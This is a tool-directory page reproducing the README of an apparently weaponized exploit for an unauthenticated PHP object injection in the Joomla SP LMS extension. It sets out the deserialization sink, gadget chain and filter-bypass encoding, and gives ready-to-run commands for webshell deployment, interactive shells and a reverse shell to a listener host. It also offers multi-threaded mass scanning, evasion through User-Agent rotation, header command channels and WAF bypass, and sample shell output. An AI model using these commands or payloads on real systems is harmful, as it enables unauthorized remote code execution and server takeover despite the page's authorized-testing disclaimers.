Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-48909-Joomla-SP-Exploit — CVE-2026-48909 - Unauthenticated PHP Object Injection to RCE exploit for Joomla SP LMS extension versions <= 4.1.3. Exploits lmsOrders cookie deserialization to write webshell via Joomla FormattedtextLogger gadget chain. Includes interactive shell, path discovery, and cleanup. For authorized security testing only. | Kitploit
Tools/GitHubGitHub/cerberusmrxi/cve-2026-48909-joomla-sp-exploit
Vulnerability AnalysisCode AnalysisExploitationShellcodeWeb Application ExploitationPenetration TestingCommand and ControlLearning & EducationRed Teaming
Payload Development
Labs & Practice
GitHubcerberusmrxi/cve-2026-48909-joomla-sp-exploit

CVE-2026-48909-Joomla-SP-Exploit

View Repository
221 month agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →

About

CVE-2026-48909 - Unauthenticated PHP Object Injection to RCE exploit for Joomla SP LMS extension versions <= 4.1.3. Exploits lmsOrders cookie deserialization to write webshell via Joomla FormattedtextLogger gadget chain. Includes interactive shell, path discovery, and cleanup. For authorized security testing only.

Share

CVE-2026-48909

Joomla SP LMS — Unauthenticated PHP Object Injection → RCE

Python Version CVSS License Platform

Proof-of-concept assessment tool for CVE-2026-48909
Author: Sudeepa Wanigarathna

joomla1

[!IMPORTANT] Authorized use only. This tool is for security research, education, and testing systems you own or have explicit written permission to assess. Unauthorized access to computer systems is illegal. The author assumes no liability for misuse.

Table of Contents

  • Overview
  • Vulnerability Details
  • Features
  • Installation
  • Quick Start
  • Usage Guide
  • Command Reference
  • Payload Types
  • Attack Chain
  • Output Examples
  • Troubleshooting
  • Repository Layout
  • Version History
  • Disclaimer
  • Author

Overview

CVE-2026-48909 is a critical unauthenticated PHP Object Injection in the Joomla SP LMS extension. This tool implements the full attack chain so security professionals can validate impact in lab or authorized environments.

It covers detection, path discovery, payload delivery, interactive post-exploitation (where permitted), mass assessment, and optional cleanup.

Vulnerability Details

AttributeValue
CVE IDCVE-2026-48909
CVSS9.5 (Critical)
Attack VectorNetwork — unauthenticated
ImpactRemote Code Execution
Affected ProductJoomla SP LMS
Affected Versions1.0.0 – 4.1.3
Patched VersionSP LMS 4.1.4+
Gadget ChainRequires Joomla < 5.2.2

Compatibility Matrix

ComponentVersionRCE
SP LMS< 4.1.4Vulnerable
SP LMS≥ 4.1.4Patched
Joomla< 5.2.2Gadget chain usable
Joomla≥ 5.2.2Gadget chain patched

Features

Core

CapabilityDescription
Unauthenticated exploitNo credentials required
Multiple payloads7 webshell / execution variants
Interactive shellCommand history session after deploy
Path discoveryAutomatic writable path probing
CleanupRemove deployed webshell after tests

Assessment & Ops

CapabilityDescription
Mass scanningMulti-threaded target lists (1000+)
Proxy supportHTTP/SOCKS (Burp, ZAP, etc.)
Reverse shellListener-based payloads
Stealth modeHeader / POST-oriented command channels
RandomizationUUID shell names, User-Agent rotation
ReportingExport as JSON, HTML, or CSV
Detection assistsJoomla version checks, --check-only, --safe-mode

Evasion Notes

  • Avoids characters blocked by Joomla’s cmd filter where possible
  • Hex-encoded PHP write path to reduce base64 padding / slash issues
  • Configurable delays and rotating User-Agents
  • Retry logic across multiple injection / path candidates

Installation

Prerequisites

  • Python 3.6+
  • pip
  • Network reachability to target(s) under test

Setup

root@kitploit:~
cd exploit

python3 -m venv venv
source venv/bin/activate          # Windows: venv\Scripts\activate

pip install -r requirements.txt

python3 "CVE-2026-48909 v3.0.py" --help

Dependencies

root@kitploit:~
requests>=2.31.0
urllib3>=2.0.0

argparse ships with the Python standard library; it does not need to be installed via pip.

Quick Start

Replace https://target.example with a lab or authorized target only.

Single target — discover path + interactive shell

root@kitploit:~
python3 "CVE-2026-48909 v3.0.py" https://target.example --find-path --interactive

Safe checks (no exploitation)

root@kitploit:~
python3 "CVE-2026-48909 v3.0.py" https://target.example --check-only
python3 "CVE-2026-48909 v3.0.py" https://target.example --safe-mode

Mass scan

root@kitploit:~
python3 "CVE-2026-48909 v3.0.py" --targets targets.txt --threads 20 --export results.html --export-format html

Reverse shell (authorized lab)

root@kitploit:~
# Listener
nc -lvnp 4444

# Exploit host
python3 "CVE-2026-48909 v3.0.py" https://target.example \
  --find-path \
  --shell-type reverse \
  --reverse-host 192.168.1.100 \
  --reverse-port 4444

Usage Guide

Path discovery

root@kitploit:~
python3 "CVE-2026-48909 v3.0.py" https://target.example --find-path

Known writable path

root@kitploit:~
python3 "CVE-2026-48909 v3.0.py" https://target.example --path /var/www/html/tmp/shell.php

Interactive session

root@kitploit:~
python3 "CVE-2026-48909 v3.0.py" https://target.example --find-path --interactive

One-shot command

root@kitploit:~
python3 "CVE-2026-48909 v3.0.py" https://target.example --path /tmp/x.php --cmd "id"

Stealth payload + interactive

root@kitploit:~
python3 "CVE-2026-48909 v3.0.py" https://target.example --shell-type stealth --find-path --interactive

Proxy (Burp / ZAP)

root@kitploit:~
python3 "CVE-2026-48909 v3.0.py" https://target.example \
  --find-path --interactive \
  --proxy http://127.0.0.1:8080 \
  --insecure

Cleanup

root@kitploit:~
python3 "CVE-2026-48909 v3.0.py" https://target.example --cleanup /tmp/x.php

Target list format

root@kitploit:~
https://lab-a.example
https://lab-b.example
https://lab-c.example
root@kitploit:~
python3 "CVE-2026-48909 v3.0.py" -T targets.txt --threads 50 --export scan.json

Command Reference

Target

ArgumentDescription
targetSingle target URL
--targets, -T FILEFile of targets (one URL per line)
--path PATHAbsolute server path for webshell
--shell-type TYPEminimal, standard, stealth, base64, full, reverse, blindshell
--shell-name NAMEWebshell filename (default: x.php)

Network

ArgumentDescription
--timeout SECONDSRequest timeout (default: 15)
--insecureSkip TLS certificate verification
--proxy URLe.g. http://127.0.0.1:8080
--random-uaRotate User-Agent (enabled by default)
--delay SECONDSDelay between requests

Reverse shell

ArgumentDescription
--reverse-host HOSTListener host
--reverse-port PORTListener port

Modes

ArgumentDescription
--interactive, -iInteractive shell after deploy
--check-onlyVulnerability check only
--safe-modeNon-destructive testing
--find-pathAuto-discover writable path
--cmd COMMANDRun one command and exit
--cleanup PATHRemove webshell at path
--cleanup-afterCleanup after exploitation

Mass scan / report

ArgumentDescription
--threads NUMWorker threads (default: 10)
--export FILEOutput path for results
--export-format FORMATjson, html, csv (default: json)

Logging

ArgumentDescription
--log-file FILEWrite logs to file
--quiet, -qQuiet mode
--verbose, -vVerbose output
--no-bannerHide banner

Payload Types

TypeBehaviorTypical use
minimalCompact GET-based executionTight space / quick test
standardGET + POST cmd (default)General assessments
stealthCommand via X-Cmd headerReduce URL logging
base64eval(base64_decode(...)) via POSTFilter evasion labs
fullGET/POST + base64 channelBroader control
reverseConnect-back shellPersistent lab access
blindshellAlternate inclusion / execution patternConstrained environments
root@kitploit:~
python3 "CVE-2026-48909 v3.0.py" https://target.example --shell-type minimal --find-path
python3 "CVE-2026-48909 v3.0.py" https://target.example --shell-type stealth --find-path -i
python3 "CVE-2026-48909 v3.0.py" https://target.example --shell-type reverse \
  --reverse-host 10.0.0.1 --reverse-port 4444 --find-path

Attack Chain

root@kitploit:~
flowchart TD
    A["Attacker-controlled lmsOrders cookie"] --> B["unserialize() in cart.php"]
    B --> C["FormattedtextLogger::__destruct()"]
    C --> D["File::write() — PHP drop"]
    D --> E["Webshell on disk"]
    E --> F["Remote command execution"]

Technical summary

  1. Sink — components/com_splms/models/cart.php unserializes a base64-decoded lmsOrders cookie.
  2. Gadget — Joomla\CMS\Log\Logger\FormattedtextLogger::__destruct() triggers a filesystem write.
  3. Payload — PHP body hex-encoded, length-padded to avoid filtered base64 characters (/, =, +).
  4. Execution — Dropped script is requested to run OS commands.

Input filter bypass (high level)

Joomla’s cmd filter may strip /, =, and +. This tool compensates by:

  • Encoding write content as hex
  • Padding serialized / base64 forms to avoid illegal characters
  • Iterating candidates until a filter-safe payload is produced

Output Examples

Interactive session

root@kitploit:~
shell> id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

shell> whoami
www-data

shell> pwd
/var/www/html

shell> exit

JSON export (shape)

root@kitploit:~
{
  "timestamp": "2026-07-16T10:30:00.123456",
  "target": "https://lab.example",
  "shell_path": "/tmp/x_abc123def.php",
  "shell_url": "https://lab.example/tmp/x_abc123def.php",
  "shell_type": "standard",
  "vulnerable": true,
  "exploited": true,
  "joomla_version": "4.3.2",
  "detected_paths": [
    "/tmp/x_abc123def.php",
    "/images/x_abc123def.php",
    "/cache/x_abc123def.php"
  ],
  "author": "Sudeepa Wanigarathna",
  "tool_version": "3.0"
}

One-shot command

root@kitploit:~
python3 "CVE-2026-48909 v3.0.py" https://target.example --path /tmp/x.php --cmd "id"

Troubleshooting

SymptomWhat to try
Could not generate filter-safe payloadDifferent --path, or --find-path; avoid unusual path characters
Shell verification failedRaise --timeout; try --shell-type standard; confirm system() / similar not disabled; verify writability
Target does not appear vulnerableSP LMS ≤ 4.1.3, Joomla < 5.2.2, com_splms present; inspect WAF blocks
HTTP 500--insecure, --timeout 30, review application/server logs
Proxy connection refusedConfirm proxy listening; URL scheme/host/port correct
TLS verification failedAdd --insecure for lab endpoints with broken certs

Debug workflow

root@kitploit:~
# Verbose + file log
python3 "CVE-2026-48909 v3.0.py" https://target.example --find-path -v --log-file debug.log

# Through Burp
python3 "CVE-2026-48909 v3.0.py" https://target.example --find-path \
  --proxy http://127.0.0.1:8080 --insecure -v

# Non-destructive first
python3 "CVE-2026-48909 v3.0.py" https://target.example --safe-mode

Repository Layout

root@kitploit:~
exploit/
├── CVE-2026-48909 v3.0.py   # Main tool (v3.0)
├── requirements.txt         # Python dependencies
├── README.md                # This file
└── venv/                    # Local virtualenv (optional, not committed)

Optional additions for a public release:

root@kitploit:~
targets.txt.example
docs/technical-details.md
examples/basic-exploit.sh
examples/mass-scan.sh

Version History

v3.0.0 — Ultimate Edition (July 2026)

  • Mass scanning with threading
  • HTTP/SOCKS proxy support
  • Reverse shell payloads
  • WAF-oriented evasion helpers
  • Interactive stealth shell
  • Auto-cleanup options
  • JSON / HTML / CSV reporting
  • Extended writable path list
  • Joomla version detection assists
  • Safe mode & User-Agent rotation
  • Configurable request delays

v2.1 — Professional Edition (July 2026)

  • Payload generation fixes
  • Stronger error handling & logging

Disclaimer

This project is provided as-is for defensive security research and authorized penetration testing.

By using this software you agree that:

  1. You will only target systems you own or are explicitly authorized to test.
  2. You understand applicable computer-abuse and data-protection laws.
  3. The author and contributors are not responsible for damage, data loss, or legal consequences from misuse.

If you discover this vulnerability in the wild, follow responsible disclosure practices and coordinate with the vendor / CERT where appropriate.

Author

Sudeepa Wanigarathna
Security researcher · Ethical hacking · Vulnerability research · Python tooling

Support

  • Star the repo if it helps your research
  • Open issues for bugs or false positives
  • PRs welcome for docs, detection accuracy, and authorized-lab UX

For authorized security testing only.

Download Tool